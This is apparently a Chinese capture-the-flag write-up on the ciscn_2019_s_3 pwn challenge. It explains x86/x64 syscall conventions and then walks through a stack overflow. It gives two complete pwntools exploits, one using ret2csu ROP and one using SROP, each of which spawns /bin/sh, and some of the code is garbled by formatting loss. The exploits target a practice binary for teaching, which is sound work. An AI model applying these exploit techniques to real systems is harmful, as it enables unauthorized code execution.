zoukankan      html  css  js  c++  java
  • ctf中关于syscall系统调用的简单分析

    0x01

    我在动态调试这个程序的时候,发现 syscall调用 系统函数 的过程很有趣,于是便记录下来 希望对大家 能带来些帮助,这里 以 buu 平台上的 ciscn2019s_3 为例,给大家详细地分享以及分析下!

    0x02

    在开始之前,我们先来认真 学习下 read(),write()的 原型:

    read():ssizet read(int fd,const void *buf,sizet nbytes); //fd 为要读取的文件的描述符 0//buf 为要读取的数据的缓冲区地址//nbytes 为要读取的数据的字节数

    //read() 函数会从 fd 文件中读取 nbytes 个字节并保存到缓冲区 buf,//成功则返回读取到的字节数(但遇到文件结尾则返回0),失败则返回 -1。

    write()ssizet write(int fd,const void *buf,sizet nbytes); //fd 为要写入的文件的描述符 1//buf 为要写入的数据的缓冲区地址//nbytes 为要写入的数据的字节数

    //write() 函数会将缓冲区 buf 中的 nbytes 个字节写入文件 fd,//成功则返回写入的字节数,失败则返回 -1。

    0x03

    然后我们 再来简单了解下 syscall !嗯。。。我们来看下维基百科的介绍吧

    图片1.png

    上面的是 32 位的系统调用,而64位系统的系统调用总体思想还是一样的,当然也会有些不同, 32位与64位 系统调用的区别:1.传参方式不同
    2.系统调用号 不同3.调用方式 不同

    32位:传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器调用号: sysread 的调用号 为 3 syswrite 的调用号 为 4 调用方式: 使用 int 80h 中断进行系统调用

    64位:传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器调用号:sysread 的调用号 为 0 syswrite 的调用号 为 1
    stubexecve 的调用号 为 59 stubrt_sigreturn 的调用号 为 15调用方式: 使用 syscall 进行系统调用

    Ok,知道了上面这些知识,那么做这题,其实相对来说 会容易些了!可能本来大佬们就没觉得难,还求勿喷!基于网上 对这题的题解很少,我调试了很长时间才弄懂!实在是太弱了!

    点击 实验链接 开始实操练习!

    0x04

    首先检查文件属性和文件开启的保护有哪些:$file ciscns3ciscns3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=af580816080db5e4d1d93a271087adaee29028e8, not stripped

    checksec ciscns3

    1. Arch: amd64-64-little
    2. RELRO: Partial RELRO
    3. Stack: No canary found
    4. NX: NX enabled
    5. PIE: No PIE (0x400000)

    64位elf 文件 只开启 NX 保护

    拖入ida 查看main函数:int __cdecl main(int argc, const char *argv, const char *envp){return vuln();}

    进去 vuln()函数:signed _int64 vuln(){signed _int64 result; // rax

    _asm { syscall; LINUX - sysread }result = 1LL;_asm { syscall; LINUX - syswrite }return result;}

    嗯。。。我们看 汇编代码!

    图片2.png

    这里可以看到 汇编指令 的含义

    将read的系统调用号 0 赋值给 rax

    将 read的第一个参数0 (fd) 赋值给了 rdi

    将 read的第二个参数 buf 赋值给了 rsi

    将 read的第二个参数 buf 赋值给了 rdx

    即系统调用了 read(0,&buf,0x400)

    同理 紧接着 又调用了 write(1,&buf,0x30)

    其中 buf 距离 rbp 0x10个字节,存在栈溢出漏洞!

    图片3.png

    然后 经过 调试 我还发现 当执行了 syscall这个汇编命令(即调用对应系统函数)后,在gdb上可以很清楚的 看到 其实执行完后 对寄存器的影响仅仅发生改变的是RAX,与RCX其中 RAX 会存着 对应系统函数 调用后返回的结果RCX 会存着当 syscall指令的下一条指令地址

    这里放个对比图,可以看的更明白些!

    syscall指令 执行前:

    图片4.png

    syscall指令 执行后:

    图片5.png

    当然,知道这些对于我们来说已经足够了!

    我们继续来分析下 vuln函数 ,具体看 下图中 注释

    图片6.png

    这个题rsp和rbp一直在重合,直接ret,就相当于pop rip,所以覆盖rbp就可以劫持了程序执行流。

    所以 这题 在最后 ret的 时候其实 就是 返回 到了rbp处 的地址了。这点很重要。

    另外 程序中还有个 gadgets 函数

    图片7.png

    我们可以 发现这个函数里面有两个可以 gadget 即 控制 rax的 带有 ret 的汇编指令片段

    mov rax,0Fh // 0Fh 即15 而15 对应的是 sysrtsigreturn系统调用

    mov rax,3Bh // 3Bh 即 59 而15 对应的是 sys_execve 系统调用

    对于 以上两个系统调用,我们可以有两种 解题方法

    第一种: 利用 ret2_libccsu_init 去构造 execve("/bin/sh",0,0) 来 getshell

    第二种:直接srop 伪造 sigreturn frame 去 构造 execve("/bin/sh",0,0) 来 getshell

    我们重点 就看第一种 了:因为是系统调用嘛,所以我们要想 构造 execve("/bin/sh",0,0) 需要

    将 sys_execve 的调用号 59 赋值给 rax

    将 第一个参数即字符串 "/bin/sh"的地址 赋值给 rdi

    将 第二个参数 0 赋值给 rsi

    将 第三个参数 0 赋值给 rdx

    但我们发现 我们没有 足够gadget 可以利用,于是我们想到了“x64 下的 _libccsu_init 中的 gadgets,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在“

    用下面这个命令去 找到它的位置

    ROPgadget --binary ciscns3 --only 'pop|ret'

    图片8.png

    这里需要注意 Ropgadget 有时总会 有一点显示的不完整,我们通过它在ida中再去看下,loc400580和loc400596 就是上面说的 _libccsu_init gadget了。

    图片9.png

    0x05

    我们最终 写下 如下 exp:

    coding:utf8

    from pwn import *context.loglevel = 'debug'conn=process("./ciscns3")vulnaddr=0x4004EDmovraxexecvaddr=0x4004E2 #ida中查看poprdiretaddr=0x4005a3 #ROPgadget --binary ciscns3 --only 'pop|ret'poprbxrbpr12r13r14r15retaddr=0x40059A_libccsuinitaddr=0x400580 # _libccsuinit gadget 首地址syscalladdr=0x400501 #ida中查看

    gdb.attach(conn,'b *0x40052C')

    payload1='/bin/shx00'*2+p64(vuln_addr)conn.send(payload1)conn.recv(0x20)

    binshaddr=u64(conn.recv(8))-280print hex(binshaddr) #解答 1

    payload2='/bin/shx00'2+p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)+p64(0)2+p64(binshaddr+0x50)+p64(0)*3payload2+=p64(_libccsuinitaddr)+p64(movraxexecvaddr)payload2+=p64(poprdiretaddr)+p64(binshaddr)+p64(syscall_addr) #解答 2

    conn.send(payload2)

    conn.interactive()

    0x06

    我们照着 exp 来分析下 :

    解答1:因为最后我们构造payload的时候需要用到 /bin/sh 的地址,程序中又没有,我们这里选择自己输入,但是我们输入到了 栈上,为了后面可以使用该 地址,我们需要首先将 /bin/sh 所在栈地址 泄露出来!我们gdb调试,可以得知 在write输出的 0x20字节后 的 0x00007fffffffde08 是栈 上的地址 我们用它 减去 buf 所在栈上地址 即可得到 /bin/sh所在栈上地址 0x00007fffffffde08-0x7fffffffdcf0=280 反之 binshaddr=0x00007fffffffde08-280

    图片10.png

    解答2 :为什么 要这样构造 payload2?payload2='/bin/shx00'2+p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)+p64(0)2+p64(binshaddr+0x50)+p64(0)*3payload2+=p64(_libccsuinitaddr)+p64(movraxexecvaddr)payload2+=p64(poprdiretaddr)+p64(binshaddr)+p64(syscall_addr)

    看这个payload的第一行:

    因为文章上面我已经分析过了

    这个题rsp和rbp一直在重合,直接ret,就相当于pop rip,所以覆盖rbp就可以劫持了程序执行流。所以 这题 在最后 ret的 时候其实 就是 返回 到了rbp处 的地址了。于是 p64(poprbxrbpr12r13r14r15retaddr) 其实就相当于 是 在ret_addr处,

    图片11.png

    看图,动态 来具体了解下 这个payload是怎么运转的我们跟进去

    图片12.png

    继续 n 我们会返回到 _libccsuinitaddr 0x400580

    图片13.png

    如图:将execve 的系统调用号 0x 3b 赋值给 rax

    图片14.png

    执行完后 会 ret 回到 add rbx,0x1这里是很关键的一步,原本 rbp=rbx=0,然而 rbx在这 加了 1 与 rbp就不再相等 于是 会跳转到0x400580执行

    图片15.png

    call QWORD PTR [r12+rbx*8] 便会 调用了 红框之后的 poprdiret_addr 处的函gadget了

    图片16.png

    然后接着就是 把 binshaddr 赋值给了 rdi了这样 execve("/bin/sh",0,0)就构造成功了,最后再执行syscall_addr便成功调用该函数 于是getshell 。

    图片17.png

    这里如果 还理解不了的话 可以在ctfwiki学习下 栈溢出之 mediumrop

    https://wiki.x10sec.org/pwn/stackoverflow/medium_rop/

    0x07

    第二种:直接srop 伪造 sigreturn frame 去 伪造 execve("/bin/sh",0,0) 来 getshell

     具体就是 首先利用 mov rax, 0Fh  控制rax为 15,然后 调用 syscall  即执行了 sigreturn,我们 伪造 sigreturn frame  去 执行 execve("/bin/sh",0,0) 即可

    #coding:utf8

    from pwn import *

    context(arch='amd64', os='linux', log_level = 'DEBUG')#这个注意 一定要说明 内核架构  不然报错

    #context.log_level = 'debug'

    conn=process("./ciscn_s_3")

    conn=remote('node3.buuoj.cn',26536)

    vuln_addr=0x4004ED

    mov_rax_sigreturn_addr=0x4004DA

    syscall_addr=0x400501

    #gdb.attach(conn,'b *0x40052C')

    payload1='/bin/shx00'*2+p64(vuln_addr)

    conn.send(payload1)

    conn.recv(0x20)

    bin_sh_addr=u64(conn.recv(8))-280

    print hex(bin_sh_addr)

            

    frame = SigreturnFrame()

    frame.rax = constants.SYS_execve

    frame.rdi = bin_sh_addr

    frame.rsi = 0

    frame.rdx = 0

    #frame.rsp = bin_sh_addr

    frame.rip = syscall_addr

    payload2='/bin/shx00'*2+p64(mov_rax_sigreturn_addr)+p64(syscall_addr)+str(frame)

    conn.send(payload2)

    conn.interactive()

    最后要注意的一点就是 写 exp  时一定要 说明 内核架构  不然报错!

    context(arch='amd64', os='linux', log_level = 'DEBUG')#这个注意一定要说明内核架构 ,不然报错。

    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    [每日电路图] 2、红外遥控电路原理设计与解析【转+解读】
    [每日电路图] 1、基于AT89C52单片机最小系统接口电路【转】
    [nRF51822] 5、 霸屏了——详解nRF51 SDK中的GPIOTE(从GPIO电平变化到产生中断事件的流程详解)
    [nRF51822] 4、 图解nRF51 SDK中的Schedule handling library 和Timer library
    [nRF51822] 3、 新年也来个总结——图解nRF51 SDK中的Button handling library和FIFO library
    [MFC] VS2013版本MFC工程移植到VC6.0上
    [异常解决] ubuntu上安采用sudo启动的firefox,ibus输入法失效问题解决
    [编译] 1、第一个makefile简单例子
    nginx静态文件不设置缓存
    Docker容器挂载文件(转载)
  • 原文地址:https://www.cnblogs.com/hetianlab/p/15267926.html
Copyright © 2011-2022 走看看